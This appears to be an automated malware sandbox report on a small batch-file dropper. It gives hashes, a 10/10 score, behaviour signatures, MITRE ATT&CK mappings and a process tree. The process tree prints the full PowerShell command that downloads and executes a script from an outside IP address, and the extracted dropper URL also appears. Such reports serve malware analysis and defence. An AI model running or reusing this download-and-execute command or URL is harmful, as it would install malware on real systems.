bf894d6ef5402e0c90fd5cfc08bd271dc601d90abdf0f73bc8c17e5a2861918b

General

Target

eEqGBFWD.bat
Size

194B
MD5

5921814fde0e9a996f0dee5a45a865c9
SHA1

946b9d4f1081b053f9b90544dcc83367e7cfbc21
SHA256

bf894d6ef5402e0c90fd5cfc08bd271dc601d90abdf0f73bc8c17e5a2861918b
SHA512

5f953ff30984392246fde646a900d5d91eb93f64345da39fc91007c67e913ce5b7ea8f59a5e572de72fa1052877a1eb7082fc67a31f9f4f118dd40db88e33763

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/eEqGBFWD

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid process

2000 WerFault.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2000 WerFault.exe
Token: SeBackupPrivilege 2000 WerFault.exe
Token: SeDebugPrivilege 2000 WerFault.exe

description	pid	process
Token: SeRestorePrivilege	2000	WerFault.exe
Token: SeBackupPrivilege	2000	WerFault.exe
Token: SeDebugPrivilege	2000	WerFault.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

WerFault.exe

pid	process
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe
2000	WerFault.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\eEqGBFWD.bat"
1⤵
PID:5004

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/eEqGBFWD');Invoke-LZNYLIOOLOW;Start-Sleep -s 10000"
2⤵
PID:5060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5060 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
- Enumerates system info in registry
PID:2000

\??\c:\windows\system32\taskhostw.exe
taskhostw.exe -RegisterDevice -SettingChange -Full
1⤵
PID:4732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2000-0-0x0000000004940000-0x0000000004941000-memory.dmp

Filesize
4KB

Download
memory/2000-4-0x0000000005400000-0x0000000005401000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads